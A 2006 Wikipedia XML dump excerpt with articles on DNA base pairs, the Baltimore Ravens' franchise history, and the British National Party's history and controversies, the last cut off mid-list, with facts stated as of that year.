* [http://www.buddhism.kalachakranet.org/ A View on Buddhism]
* [http://www.e-sangha.com E-Sangha Buddhism Forum]
* [http://www.buddhistchannel.tv The Buddhist Channel] a news source.
* [http://www.buddhistview.com/ Buddhist Views]
* [http://www.dharmanet.org/ DharmaNet]
* [http://www.ciolek.com/WWWVL-Buddhism.html Buddhist Studies WWW Virtual Library]: the Internet guide]
* [http://www.ocbs.org Oxford Centre for Buddhist Studies]
* [http://www.orientalia.org/dic3.html International Dictionary of Buddhism (Seems to contain only romanised terms)]
* [http://www.nirvanasutra.org.uk  &quot;Nirvana Sutra&quot;] full text and appreciation of the sutra.
* [http://www.religionfacts.com/buddhism/contents.htm ReligionFacts.com on Buddhism] facts, glossary, timeline and articles.
* [http://www.urbandharma.org/ UrbanDharma]
* [http://www.mrrena.com/budd.shtml A Study of Buddhism in Contrast to Christianity] Christian-Buddhist dialogue
* [http://users.libero.it/seza/indexgb.html The Flower of Bodhidharma]
* [http://www.dhamma.org Vipassana Meditation Website] Worldwide organization of meditation centers teaching Vipassana meditation, derived from the Maha-Satipatthana Sutra.

[[Category:Buddhism]]</text>
    </revision>
  </page>
  <page>
    <title>Base pair</title>
    <id>4292</id>
    <revision>
      <id>41773387</id>
      <timestamp>2006-03-01T17:23:23Z</timestamp>
      <contributor>
        <username>SvenskaJohannes</username>
        <id>789303</id>
      </contributor>
      <minor />
      <comment>removed capitalization of nucleotide names</comment>
      <text xml:space="preserve">In [[molecular biology]], two [[nucleotide]]s on opposite [[complementarity (molecular biology)|complementary]] [[DNA]] or [[RNA]] strands that are connected via [[hydrogen bond]]s are called a '''base pair''' (often abbreviated bp). In DNA, [[adenine]] (A) forms a base pair with [[thymine]] (T), as does [[guanine]] (G) with [[cytosine]] (C). In RNA, [[thymine]] is replaced by [[uracil]] (U). As DNA is usually double-stranded, the number of base pairs given for a particular DNA strand is the number of nucleotides in one of the strands. Thus, the following examples of base-paired [[Nucleotide_sequence|nucleotide sequence]] are said to be six base-pairs long:

: A base-paired DNA sequence:
 ATCGAT
 TAGCTA
: The corresponding base-paired RNA sequence:
 AUCGAU
 UAGCUA

The following abbreviations are commonly used to describe the length of a DNA/RNA molecule:
* kbp = kilo base pairs = 1,000 bp
* Mbp = mega base pairs = 1,000,000 bp
* Gbp = giga base pairs = 1,000,000,000 bp

In case of single stranded DNA/RNA we talk about [[nucleotide]]s, abbreviated nt (or knt, Mnt, Gnt), rather than base pairs, as they are not paired.

&lt;!-- This image is full of errors, please make a new one!
The following figure shows the chemical structures of properly base-paired [[nucleic acid]]s. 
&lt;center&gt;
[[Image:DNAbasePairing.png|none|500px|Chemical structure of base pair bonding]]&lt;br /&gt;
&lt;small&gt;''Chemical structure of base pair bonding''&lt;/small&gt;
&lt;/center&gt;
--&gt;

The larger nucleic acids, adenine and guanine, are members of a class of doubly-ringed chemical structures called [[purine]]s; the smaller nucleic acids, cytosine and thymine (and uracil), are members of a class of singly-ringed chemical structures called [[pyrimidine]]s. Purines are only complementary with pyrimidines: pyrimidine-pyrimidine pairings are energetically unfavourable because the molecules are too far apart for hydrogen bonding to be established; purine-purine pairings are energetically unfavourable because the molecules are too close, leading to electrostatic repulsion. The only other possible pairings are GT and AC; these pairings are mismatches because the pattern of hydrogen donors and acceptors do not correspond.

Thymine and adenine bond together through two hydrogen bonds, while cytosine and guanine bond together through three hydrogen bonds.

As [[hydrogen bond]]s are not very strong, the two nucleotide strands will separate on temperatures higher than 94 [[degree Celsius|°C]].  

Chemical analogs of nucleotides can take the place of proper nucleotides and establish non-canonical base-pairing, leading to errors in [[DNA replication]] and [[Transcription (genetics)|DNA transcription]]. Some analogs are [[carcinogen]]s; others are [[chemotherapy]] drugs.



Guanine and cytosine form 3 hydrogen bonds while adenine and thymine form only 2 hydrogen bonds.  Consequently A-T pairs are less stable.  

== See also ==
* [[DNA]]
* [[Nucleobase]]
* [[Wobble base pair]]
* [[Hoogsteen base pair]]

==References==

[[Category:Genetics]]

[[de:Basenpaar]]
[[fr:Paire de bases]]
[[hu:Bázispár]]
[[nl:Basepaar]]
[[vi:Nguyên tắc bổ sung]]
[[zh:碱基对]]
www.yahoo.com  £È</text>
    </revision>
  </page>
  <page>
    <title>Baltimore Ravens</title>
    <id>4293</id>
    <revision>
      <id>40633496</id>
      <timestamp>2006-02-21T23:30:38Z</timestamp>
      <contributor>
        <username>Bdoserror</username>
        <id>95483</id>
      </contributor>
      <minor />
      <comment>/* Season-by-season records */</comment>
      <text xml:space="preserve">{{NFL team | name = Baltimore Ravens
| logo = BaltimoreRavens_100.png
| founded = 1996
| city = Baltimore, Maryland
| colors = Black, Purple, and Metallic Gold
| coach = [[Brian Billick]]
| owner = [[Steve Bisciotti]]
| general manager = [[Ozzie Newsome]]
| mascot = [[Edgar, Allan, and Poe]]
| stations = WBAL-AM (1090) and WIYY-FM (97.9)
| announcers = To Be Determined
| hist_yr = 1996
| NFL_start_yr = 1996
| division_hist =
*'''[[American Football Conference]] (1996-present)'''
**[[AFC Central]] (1996-2001)
**'''[[AFC North]] (2002-present)'''
| no_league_champs = 1
| no_sb_champs = 1
| no_conf_champs = 1
| no_div_champs = 1
| sb_champs = 2000&amp;nbsp;([[Super Bowl XXXV|XXXV]])
| conf_champs =
*'''AFC:''' 2000
| div_champs =
*'''AFC North:''' 2003
| stadium_years =
*[[Memorial Stadium (Baltimore)]] (1996-1997)
*'''[[M&amp;T Bank Stadium]] (1998-present)'''
**a.k.a. PSINet Stadium (1998-2002)
**a.k.a. Ravens Stadium (2002-2003)
}}

The '''Baltimore Ravens''' are a professional [[American football]] team based in [[Baltimore, Maryland]]. They currently belong to the [[AFC North|Northern Division]] of the [[American Football Conference]] (AFC) in the [[National Football League]] (NFL). The Ravens have won one [[Super Bowl]] title, [[Super Bowl XXXV]] in 2001.

The history of the Baltimore Ravens is unusual due to the unprecedented actions taken by the cities of Baltimore and [[Cleveland, Ohio]], and the NFL in 1996. On [[November 6]], [[1995]], then-[[Cleveland Browns]] owner [[Art Modell]] announced his intention to move the team to Baltimore, citing the inadequacy of [[Cleveland Stadium]] and the lack of a sufficient replacement along with his heavy debt. The decision triggered a flurry of legal activity that ended when representatives of Cleveland and the NFL reached a settlement on [[February 8]], 1996. It stipulated that the Browns' name, colors, and history of the franchise were to remain in Cleveland. A reactivated Cleveland Browns team would then begin play in 1999, while the relocated club would technically and legally be a new [[expansion team]], the Ravens.{{ref|baltsun}} (The team's name comes from the famous [[Edgar Allan Poe]] poem, &quot;[[The Raven]].&quot;)

For that reason, past records and [[Pro Football Hall of Fame]] players are attributed to the Browns and not to the Ravens. (For more information on the move, see [[Cleveland Browns#Franchise History|Franchise History of the Cleveland Browns]]). However, some incorrectly consider the Ravens and the pre-1995 Browns organization as one continuous entity, using terms like &quot;The Modell organization&quot; or &quot;Art Modell's franchise&quot; to denote it. {{ref|Modellorg}}

Conversely, many Baltimore fans, who are still bitter about the [[Indianapolis Colts|Colts football team]] moving from Baltimore to [[Indianapolis, Indiana]] in 1984, along with many of the Colts' former players, view the pre-1984 Baltimore Colts organization and the Ravens as one continuous entity. In fact, the old Colts [[marching band]] and [[fan club]] became part of the Ravens organization.

:'''Uniform colors:''' Black, Purple, Metallic Gold, and White.  (The primary home uniform is a purple jersey and white pants.  Traditional away gear (also worn at home during late summer day games, but mostly on the road, are white jersies and white pants.  In 2004, the team introduced an alternate attire of black jersey and black pants for select prime-time national game broadcasts.)
:'''Helmet design:''' A black helmet with a purple and black raven's head in profile, with the letter &quot;B&quot; superimposed in metallic gold and white.  Purple &quot;talons&quot; rise up from the facemask up the center of the helmet.

==Franchise history==
After relocating his franchise, retaining the current contracts of former Browns players and personnel, as per the agreement made by the city of Cleveland and the NFL, owner [[Art Modell]] hired [[Ted Marchibroda]] as head coach, who had previous experience with the [[Baltimore Colts]] during the 1970s and the Indianapolis Colts during the early 1990s.  [[Ozzie Newsome]], Cleveland's prolific tight end for many seasons, joined Modell in Baltimore as director of football operations. He was later promoted to Vice President/General Manager.

The NFL officially made its return to Baltimore after a 13-year hiatus on [[September 1]], [[1996]], with a 19-14 Ravens win over the [[Oakland Raiders]]. That was one of the team's few highlights in their inaugural season. Despite 33 touchdown passes by [[Vinny Testaverde]] (second behind [[Brett Favre]]) - fourteen of them to [[Michael Jackson (NFL)|Michael Jackson]] - the Ravens blew several leads through the season and finished 4-12. 

Testaverde and the Ravens struggled in the 1997 season after starting off with an early winning streak. [[Peter Boulware]], with 11.5 sacks, was named AFC Defensive Rookie of the Year, but the Ravens finished 6-9-1.

Baltimore continued to struggle in 1998. Testaverde, who had left for the [[New York Jets]], was replaced with former Indianapolis Colt [[Jim Harbaugh]], and later, [[Eric Zeier]] - neither of which proved to be very effective. Cornerback [[Rod Woodson]] joined the team after a successful stint with the [[Pittsburgh Steelers]] and [[Priest Holmes]] started getting his first meaningful playing time of his career and ran for 1000 yards, but the Ravens could only muster a 6-10 record.  

After three consecutive losing seasons, Marchibroda was succeeded by [[Brian Billick]], who had served as the offensive coordinator for the [[Minnesota Vikings]] the season before.

The 1999 season, their first at the new [[M&amp;T Bank Stadium]], Baltimore showed a marked improvement. Quarterback [[Tony Banks (quarterback)|Tony Banks]] came to Baltimore from the [[St. Louis Rams]] and had the best season of his career with 17 touchdown passes and an 81.2 [[pass rating]]. He was joined by receiver [[Qadry Ismail]], who posted a 1000-yard season. The Ravens struggled early, starting 3-6; but rattled off four consecutive wins to put themselves in playoff contention. A loss in the final week sent them home early with an 8-8 record.

Banks shared playing time in the 2000 regular season with [[Trent Dilfer]]. Both players put up decent numbers (and a 1300-yard rushing season by rookie [[Jamal Lewis]] helped too), but the defense became the team's hallmark, and bailed a struggling offense out in many cases through the season. [[Ray Lewis (NFL)|Ray Lewis]], who had been charged with [[murder]] in the offseason, was named Defensive Player of the Year. Two of his defensive teammates, [[Sam Adams (football player)|Sam Adams]] and [[Rod Woodson]], made the [[Pro Bowl]]. The season started strong, with a 5-1 start for Baltimore. But the team struggled through mid-season, at one point going four games without scoring an offensive touchdown. The team regrouped and won each of their last seven games, finishing 12-4 and in the [[playoffs]] for the first time since the team was based in Cleveland.

Since the divisional rival [[Tennessee Titans]] had a record of 13-3, the Ravens had to play in the [[wild card]] round. They dominated the [[Denver Broncos]] 21-3 in their first game, their only playoff game in Baltimore. In the divisional playoff, they went on the road to Tennessee. Tied 10-10 in the fourth quarter, an [[Al Del Greco]] [[field goal]] attempt was blocked and returned for a touchdown by [[Anthony Mitchell]], and a [[Ray Lewis (NFL)|Ray Lewis]] interception return for a score put the game squarely in Baltimore's favor. The 24-10 win put the Ravens in the [[AFC Championship]] against the [[Oakland Raiders]]. The game was rarely in doubt. [[Shannon Sharpe]]'s 96-yard touchdown catch early in the second quarter followed by an injury to Raiders quarterback [[Rich Gannon]] were the differences as the Ravens won easily, 16-3.

Baltimore then went to [[Tampa]] for [[Super Bowl XXXV]] against the [[New York Giants]]. The game was, once again, dominated by the Ravens. They recorded four sacks and forced five turnovers, one of which was a [[Kerry Collins]] interception returned for a touchdown by [[Duane Starks]]. The Giants'  only scoring was a [[Ron Dixon]] kickoff return for another touchdown, but the Ravens immediately countered with one by [[Jermaine Lewis]]. The Ravens became champions with a 34-7 win, becoming only the third [[wild card]] team to win a Super Bowl championship.

In 2001, the Ravens attempted to defend their title, but with a new quarterback: [[Elvis Grbac]]. An injury to [[Jamal Lewis]] and poor offensive performance stymied the team.  After a 3-3 start the Ravens needed a win over the [[Minnesota Vikings]] in the final week to clinch a wild card berth at 10-6. In the first round the Ravens showed flashes of their previous year with a 20-3 blowout over the [[Miami Dolphins]], in which the team forced three turnovers and outgained the Dolphins 347 yards to 151. In the divisional playoff the Ravens played the surprising [[Pittsburgh Steelers]]. Three interceptions by Grbac ended the Ravens season, as they lost 27-10.

Baltimore ran into [[salary cap]] problems in 2002 and were forced to cut several players, including [[Sam Adams (football player)|Sam Adams]], [[Rod Woodson]] and [[Shannon Sharpe]]. The Ravens regrouped through the draft with picks like safety [[Ed Reed]]. Longtime backup QB [[Chris Redman]] took over behind center.  The Ravens stayed somewhat competitive, before a December slide cost them a playoff spot with a 7-9 final record.   

In 2003, the Ravens drafted their new quarterback, [[Kyle Boller]], but he was injured midway through the season and replaced with [[Anthony Wright]]. Jamal Lewis ran for 2066 yards (including a record 295 yards in one game against the [[Cleveland Browns]] on [[September 14]]), easily tops in the NFL. With a 10-6 record, Baltimore won their first [[AFC North]] division title. Their first playoff game, at home against the [[Tennessee Titans]], went back and forth, with the Ravens being held to only 54 yards total rushing. The Titans won 20-17 on a late field goal, and Baltimore's season ended early.

In April 2003, [[Art Modell]] sold 49% of the team to [[Steve Bisciotti]] a local businessman who had made his fortune in the temporary staffing field. After the season, Art Modell officially transferred his remaining 51% ownership to Bisciotti ending over 40 years of tenure as an NFL franchise owner. Modell still has an office at the Ravens' headquarters in Owings Mills Maryland and acts as a consultant.

The Ravens looked like they had traded for [[Terrell Owens]] in the 2004 offseason, but the NFLPA filed a grievance with the NFL, claiming Terrell Owens should have been granted free agency.  Just before a judge made a decision in the case, the NFL and NFLPA came to a settlment, which set up a 3 way trade between the Eagles, 49ers, and Ravens.  Owens went to the Eagles, and the Ravens received the pick they traded to the 49ers back and were also granted a 6th round draft pick.  Boller remained quarterback through the entire season. [[Ed Reed]] became a full-fleged star on defense, with nine interceptions. Baltimore remained in playoff contention the entire season, but a 2-4 slide in their last six games ultimately forced them out of the postseason at 9-7.

In the 2005 offseason the Ravens looked to augment their receiving corps (which was second-worst in the NFL in 2004) by signing [[Derrick Mason]] from the Titans and drafting star Oklahoma wide receiver [[Mark Jermain Clayton|Mark Clayton]] in the first round of the [[2005 NFL Draft]].

The 2005 season (the Ravens' 10th Anniversary season) began as the featured [[Sunday Night Football]] game televised by [[ESPN]].  This game against the [[Indianapolis Colts]] led the announcer to state, &quot;What a wonderful way to begin the season, the game between the team that plays here now and the team which used to play here.&quot;  The game's first half was a defensive slugfest, with the score at the half 3-0 Colts, but the second half saw the Ravens fall apart and starting QB [[Kyle Boller]] was lost to a foot injury (Colts 24, Ravens 7).  In the 2nd week road opener versus historic rival Tennessee, backup QB [[Anthony Wright]] failed to spark the offense and the defense couldn't hold the Titans back, allowing the second straight loss (25-10).  During the team's bye week, coach Billick tried to install the idea that after the bye, the season starts anew and they forget about their past losses.  This strategy led the Ravens to a Week 4 Win against the Jets (13-3), but the Ravens fell apart against the Lions (35-17), setting a franchise record for penalties in a single game (21).  The Ravens rebounded at home the next week against the Cleveland Browns, with a final score of 16-3. However, from Week 7 to Week 10, the Ravens would lose to the [[Chicago Bears]] (10-6), the [[Pittsburgh Steelers]] (20-19), the [[Cincinnati Bengals]] (21-9), and the Jacksonville Jaguars (30-3).  The Ravens would get things working for them in a Week 11 rematch with the Steelers at home by winning 16-13 in OT, but in a week later, they would get season-swept by the Bengals 42-29.  The Ravens would win a week later against the hapless [[Houston Texans]] 16-15, but they would lose a week later on the road against the [[Denver Broncos]] 12-10.  Then, they Ravens played their final two home games under the prime time light.  First, they man-handled the [[Green Bay Packers]] on Monday Night 48-3. Then, they destroyed any playoff chance that the [[Minnesota Vikings]] had by winning on Sunday Night 30-23. Despite the recent resurgence of Kyle Boller, they couldn't carry their momentum entirely.  Despite leading the Browns 13-6 at halftime, they lost the lead in the 3rd Quarter and trailed for the rest of the game.  They lost 20-16.  The Ravens ended their season at 6-10.  Despite having the same regular season record as the [[Cleveland Browns]], the Ravens are technically third in the AFC North, since they beat the Browns on Division Records. In the AFC North, the Ravens are 2-4, while the Browns are 1-5.

==Logo controversy==
[[Image:Bwings.gif|left|frame|Baltimore Ravens logo from 1996-1998. It was changed due to [[copyright infringement]].]]
[[Image:RavensdrawingBouchat.jpg|right|frame|The original sketch, which was plagarized for the original Ravens logo.]]
From 1996-1998, the team originally used a logo that featured raven wings flanking a shield with the letter &quot;B&quot;. However, the [[United States Court of Appeals for the Fourth Circuit|United States Fourth Circuit Court of Appeals]] ruled that the logo [[Copyright infringement|infringed]] on the [[copyright]] rights of [[Frederick E. Bouchat]], a Maryland amateur artist and security guard.

Bouchat sued the Ravens, claiming that he was the first one to design the &quot;B&quot; shield shortly after the team announced their intentions to move to Baltimore. The team defended themselves claiming that the logo was made independently. But the court ruled in favor of Bouchat, stating that team owner Modell had access to Bouchat's work: Bouchat had faxed a copy of his design to then-chairman of the Maryland Stadium Authority John Moag, who shared the same office building as Modell. [http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=4th&amp;navby=case&amp;no=991617P&amp;exact=1]

{{-}}

==Season-by-season records==
{{Start NFL SBS}}
{{NFL SBS season|1996|4|12|0|5th AFC Central}}
{{NFL SBS season|1997|6|9|1|4th AFC Central}}
{{NFL SBS season|1998|6|10|0|4th AFC Central}}
{{NFL SBS season|1999|8|8|0|3rd AFC Central}}
{{NFL SBS season|2000|12|4|0|2nd AFC Central| playoffs = Won [[NFL playoffs, 2000-01#AFC: Baltimore Ravens 21, Denver Broncos 3|Wild Card playoffs]] ([[Denver Broncos|Denver]])&lt;br&gt;Won [[NFL playoffs, 2000-01#AFC: Baltimore Ravens 24, Tennessee Titans 10|Divisional playoffs]] ([[Tennessee Titans|Tennessee]])&lt;br&gt;Won [[NFL playoffs, 2000-01#AFC: Baltimore Ravens 16, Oakland Raiders 3|Conference Championship]] ([[Oakland Raiders|Oakland]])&lt;br&gt;Won [[Super Bowl XXXV]] ([[New York Giants]])}}
{{NFL SBS season|2001|10|6|0|2nd AFC Central| playoffs = Won [[NFL playoffs, 2001-02#AFC: Baltimore Ravens 20, Miami Dolphins 3|Wild Card playoffs]] ([[Miami Dolphins|Miami]])&lt;br&gt;Lost [[NFL playoffs, 2001-02#AFC: Pittsburgh Steelers 27, Baltimore Ravens 10|Divisional playoffs]] ([[Pittsburgh Steelers|Pittsburgh]])}}
{{NFL SBS season|2002|7|9|0|3rd AFC North}}
{{NFL SBS season|2003|10|6|0|1st AFC North| playoffs = Lost [[NFL playoffs, 2003-04#AFC: Tennessee Titans 20, Baltimore Ravens 17|Wild Card playoffs]] ([[Tennessee Titans|Tennessee]])}}
{{NFL SBS season|2004|9|7|0|2nd AFC North}}
{{NFL SBS season|2005|6|10|0|3rd AFC North}}
{{end box}}
So far, after the [[2005 NFL season]], the Ravens All-Time Record is 83-83-1 (including the playoffs).

==Players of note==
===Current players===
{{Template:Baltimore Ravens roster}}
&lt;br clear=&quot;all&quot;/&gt;
{| class=&quot;Talk-Notice&quot;
|-
|align=&quot;center&quot;|'''''Note''': The following lists players who officially played for the Ravens. For other Hall of Famers, players whose numbers were retired, and not to be forgotten players who played for Baltimore teams, see [[Indianapolis Colts|Baltimore Colts]].''
|}
===[[Pro Football Hall of Fame]]rs===
'''None'''

===Retired numbers===
The Ravens have not yet honored any player by retiring his jersey.

====Ring of Honor====
The Ravens have a &quot;Ring of Honor&quot; which is on permanent display encircling the field of M&amp;T Bank Stadium, including a sign with the names and dates of play viewable from the seats. The ring currently honors the following: [http://www.baltimoreravens.com/gameday/ringOfHonor.jsp]

* 21 [[Earnest Byner]], Running back, played for Modell in both Cleveland and Baltimore, inducted 2001.
* [[Johnny Unitas]] and the [[Indianapolis Colts|Baltimore Colts]], inducted in 2002 following the death of Unitas. The numbers of the following [[Pro Football Hall of Fame|Hall of Fame]] Colts players are honored:
** 19 [[Johnny Unitas]]
** 24 [[Lenny Moore]]
** 70 [[Art Donovan]]
** 77 [[Jim Parker]]
** 82 [[Raymond Berry]]
** 83 [[Ted Hendricks]]
** 88 [[John Mackey (athlete)|John Mackey]]
** 89 [[Gino Marchetti]]
* [[Art Modell]], original owner, inducted 2003.
* 99 [[Michael McCrary]], defensive lineman, inducted 2004

===Not to be forgotten===
*[[Derrick Alexander]], WR
*[[Tony Banks (quarterback)|Tony Banks]], QB
*[[Gary Baxter]], CB
*[[Jeff Blake]], QB
*[[Rob Burnett]], DE
*[[Ben Coates]], TE
*[[Trent Dilfer]], QB
*[[Marques Douglas]], DE
*[[Sam Gash]], FB
*[[Elvis Grbac]], QB
*[[Edgerton Hartwell]], LB
*[[Kim Herring]], S
*[[Priest Holmes]], RB
*[[Qadry Ismail]], WR
*[[Michael Jackson (NFL)|Michael Jackson]], WR
*[[Brian Kinchen]], TE
*[[Jermaine Lewis]], WR
*[[Jeff Mitchell]], C
*[[Bam Morris]], RB
*[[Casey Rabach]], OL
*[[Chris Redman]], QB
*[[Errict Rhett]], RB
*[[Deion Sanders]], CB
*[[Shannon Sharpe]], TE
*[[Jamie Sharper]], LB
*[[Tony Siragusa]], DT
*[[Duane Starks]], CB
*[[Brandon Stokley]], WR
*[[Duane Starks]], CB
*[[Travis Taylor]], WR
*[[Vinny Testaverde]], QB
*[[Eric Turner]], CB
*[[Rod Woodson]], S

==Head Coaches==
*[[Ted Marchibroda]] (1996-1998)
*[[Brian Billick]] (1999-present)

===Current Staff===
*General Manager - [[Ozzie Newsome]]
*Head Coach - [[Brian Billick]]
*Offensive Coordinator - [[Jim Fassel]]
*Defensive Coordinator - [[Rex Ryan]]
*Special Teams Coach - [[Frank Gansz Jr.]]
*Quarterbacks Coach - [[Rick Neuheisel]]
*Running Backs Coach - [[Tony Nathan]]
*Wide Receivers Coach - [[Mike Johnson (football coach)|Mike Johnson]]
*Tight Ends Coach - [[Wade Harman]]
*Offensive Line Coach - [[Chris Foerster]]
*Defensive Line Coach - [[Clarence Brooks]]
*Linebackers Coach - [[Jeff FizGerald]]
*Defensive Backs Coach - [[Mark Carrier (defensive back)|Mark Carrier]]
*Strength and Conditioning - [[Jeff Friday]]

==References==
#{{note|baltsun}} Morgan, Jon. [http://www.baltimoresun.com/sports/football/bal-modell020996,1,1050941.story Deal clears NFL path to Baltimore], ''[[The Baltimore Sun]]'', [[February 9]], [[1996]].
#{{note|Modellorg}} Scocca, Tom. [http://www.citypaper.com/columns/story.asp?id=8519 Welcome to the Big Time], ''Baltimore City Paper'' [[September 23]], [[1998]].

==External links==
*[http://www.baltimoreravens.com/ Baltimore Ravens official web site]
*[http://www.ravensinsider.com/ RavensInsider Fan Site]
*[http://www.ravensnests.com/ Chamber of Ravens Nests.  Established Ravens fan club]
*[http://www.extremeravens.com/ ExtremeRavens.com.  For the Fans. By the Fans.] 
*[http://www.sportsecyclopedia.com/nfl/baltrav/ravens.html Sports E-Cyclopedia.com]

{{NFL}}

[[Category:Baltimore Ravens| ]]
[[Category:National Football League teams]]
[[Category:1996 establishments]]

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  </page>
  <page>
    <title>British National Party</title>
    <id>4294</id>
    <revision>
      <id>41933872</id>
      <timestamp>2006-03-02T18:53:41Z</timestamp>
      <contributor>
        <username>Dogville</username>
        <id>193081</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">{{Infobox_British_Political_Party |
  party_name       = British National Party |
  party_logo       = [[Image:BNPsmall.gif|81px|The new logo of the British National Party]] |
  party_wikicolourid     = BNP |
  leader           = [[Nick Griffin]] |
  foundation       = [[1982]] |
  ideology         = [[Right-Wing]] [[Nationalism]] |
  international    = Various bilateral ties, see &quot;affiliates&quot; section|
  european        = ''none'' |
  europarl         = n/a |
  colours = [[Red]], [[White]] and [[Blue]]|
  headquarters     = &amp;nbsp;|  
  website          = [http://www.bnp.org.uk/ www.bnp.org.uk]  
}}

The '''British National Party''' ('''BNP''') is the largest [[political party]] of the [[far right]] in the [[United Kingdom]]. Unlike some of its European analogues, it has no presence in the national Parliament, and a small number of councillors in local government; supporters claim that this is partially because the UK's [[first-past-the-post]] system makes it harder for small parties to achieve electoral success than the [[proportional representation]] systems used in most of [[Europe]]. According to accounts filed with the [[Electoral Commission]] for the year 2004, it had a membership of 7,916, and income and expenditure of around £730,000. [http://www.electoralcommission.org.uk/templates/search/document.cfm/13262]

==History==

===Founding of modern BNP===

The modern BNP has its roots in the '''New National Front''', founded in [[1980]] by the late [[John Tyndall (politician)|John Tyndall]], a former chairman of the [[National Front (UK)| National Front]] (NF) and veteran [[National Socialism|National Socialist]] ideologue. Tyndall was a member of the previous ([[1960s]]) [[British National Party (1960s)|BNP]], which itself was one of the organizations that eventually became the NF. Tyndall resigned from the NF in [[January]] [[1980]] after failing to oust its National Organiser, [[Martin Webster]].

In 1982, the New National Front and a faction of the then-disintegrating [[British Movement]] led by [[Searchlight magazine]] informant [[Ray Hill]] merged to form the new British National Party. Tyndall was elected leader and Hill became his deputy. The launch was announced in a press conference in the spring, and on [[April 24]] the party had its inaugural march in London. (Hill 1988)

===Griffin assumes leadership===

In [[1995]] [[Nick Griffin]] joined the BNP. Griffin was previously a member of the NF Directorate under Tyndall who remained after Tyndall's resignation. In [[December]] [[1983]], Griffin and his colleague [[Joe Pearce]] succeeded where Tyndall had failed and successfully removed Webster from the NF leadership. Griffin continued in the NF through its subsequent [[schism]], eventually leaving in 1989. (See articles on [[Nick Griffin|Griffin]] and the [[British National Front|National Front]] for more detail.)

In [[1998]] Griffin was convicted of violating section 19 of the [[Public Order Act 1986]], relating to [[hate speech|incitement to racial hatred]]. He received a nine-month prison sentence, suspended for two years, and was fined £2,300.

In [[1999]] Griffin replaced Tyndall after a leadership election. Tyndall went on to run several articles in his magazine ''[[Spearhead (magazine)|Spearhead]]'' (which Griffin had previously edited) that were highly critical of the Griffin leadership. He was expelled from the BNP in [[August]] [[2003]].[http://www.spearhead.com/0309-jt2.html] He continued to publish articles in ''Spearhead'' attacking Griffin and disputing the BNP's account of his expulsion, for example [http://www.spearhead.com/0310-jt2.html Tyndall (2003)]. He was readmitted to the party in [[December 2003]] after an out-of-court settlement with Griffin, announced his intention of challenging Griffin for the leadership in [[July]] [[2004]], and was expelled again in [[December]] of the same year.[http://www.spearhead.com/0501-jt1.html] Tyndall died on [[July 18]] [[2005]].

===2004 BBC documentary===

[[Image:BNP Sun headline.jpg|thumb|right|225px]]

In ''The Secret Agent'', a [[BBC]] documentary broadcast on [[July 15]] [[2004]], filmmaker [[Jason Gwynne]] went undercover and joined the BNP for six months. His secret filming recorded party leader Nick Griffin calling Islam a &quot;wicked, vicious faith&quot;; party member [[Steve Barkham]] confessing to assaulting an Asian man in the [[2001]] [[Bradford Riots]]; party member [[Stewart Williams]] stating that he wanted to &quot;blow up&quot; [[Bradford]]'s mosques with a rocket launcher; and council candidate [[Dave Midgley]] confessing to pushing dog faeces through the letterbox of an Asian takeaway.

In his speech, Griffin stated that &quot;For saying that, I tell you, I will get seven years if I said that outside&quot;, apparently referring to the maximum sentence for the criminal offence of [[incitement to racial hatred]].

The day after the documentary was broadcast, [[Barclays Bank]] froze the BNP's bank accounts.[http://news.bbc.co.uk/1/hi/business/3901621.stm]

The BNP's response to the programme claimed it had featured &quot;the loudest and most hot-headed BNP activists [who] were deliberately plied with drink and subject to suggestive provocation.&quot; In the wake of the documentary the party expelled Barkham and Midgley (but not Williams, who had technically committed no crime). Griffin did not apologise for his own comments, stating that &quot;it's still not illegal to criticise Islam&quot;. He and BNP member [[Mark Collett]] were subsequently prosecuted for incitement to racial hatred (see below).

===2005 Griffin/Collett prosecutions===

On [[July 21]] [[2005]], Griffin and BNP activist [[Mark Collett]] pleaded not guilty at Leeds Crown Court to four and eight charges respectively of incitement to racial hatred. The charges resulted from the BBC documentary ''The Secret Agent'' (see above). John Tyndall was also due to appear in court but had died three days earlier.

On [[February 2]] [[2006]], Griffin and Collett were each acquitted of half of the charges against them. The jury could not decide on the others and the [[Crown Prosecution Service]] confirmed a retrial the same night.[http://www.guardian.co.uk/farright/story/0,,1701242,00.html]

===Other incidents===

On [[April 25]] [[2004]], Griffin appeared at a joint press conference with [[Front National (France)|Front National]] leader, [[Jean-Marie Le Pen]], sparking protests.[http://news.bbc.co.uk/1/hi/uk_politics/3654941.stm]

On [[11 September]] [[2005]], sixty thousand copies of BNP newspaper, The Voice of Freedom (Vof), were confiscated at Dover by British police (Special Branch) on the orders of the Crown Prosecution Service. The next day Police handed back the seized VoF papers after the BNP sent a legal letter, delivered by a barrister acting on the BNP's behalf, which warned that they would press for “serious and maximum damages” against Kent Constabulary for the loss of earnings from the newspaper with a further threat to take the Force to the European Court of Human Rights.

In the wake of the [[7 July London bombings]], the BNP released leaflets featuring images of the bombed Route 30 bus and the slogan &quot;Maybe now it's time to start listening to the BNP&quot;. They were accused [http://www.thesun.co.uk/article/0,,2-2005320172,00.html] of using the leaflet to stir up racial hatred. The leaflet can be viewed [http://www.bnp.org.uk/news_detail.php?newsId=388 here].

After the [[Jyllands-Posten Muhammad cartoons controversy]], the BNP republished one of the cartoons of Muhammad on a leaflet, accompanied by a photo of muslim demonstrators holding placards and a &quot;Which do you find offensive?&quot; caption [http://news.bbc.co.uk/1/hi/uk_politics/4739336.stm]. 

==Policies, and position on the political spectrum==

The BNP is generally not regarded as economically right-wing, ie as having a strong belief in laissez faire economics. Rather, the description of them as 'far-right' relates to their allegedly extreme social views, obviously particularly in relation to race (see for example [http://www.digitalronin.f2s.com/politicalcompass/extremeright.php]).

Since Griffin took over its leadership, the BNP has tried to moderate its public image in line with the &quot;[[Euronationalism|Euronationalist]]&quot; approach adopted by a number of [[far-right]] European counterparts such as the [[Austrian Freedom Party]]. This is a pattern of emphasis and presentation of policies that is often cited as a factor in such parties' increased electoral successes of the [[1990s]] and, arguably much more, the [[2000s]].

For example, under Tyndall's leadership, the party campaigned for the [[compulsory repatriation]] of all ethnic minorities. Instead, it now advocates &quot;voluntary repatriation&quot; encouraged by government grants. Likewise, the BNP's historical commitment to re-criminalising [[homosexuality]] seems to have disappeared from its [http://www.bnp.org.uk/candidates2005/man_menu.htm 2005 manifesto], but it opposed the introduction of [[civil partnerships in the United Kingdom]].[http://www.bnp.org.uk/reg_showarticle.php?contentID=506]

According to the BNP's [http://www.bnp.org.uk/policies/policies.htm website], the party's policies include:

*The [[repatriation]] of all illegal immigrants.
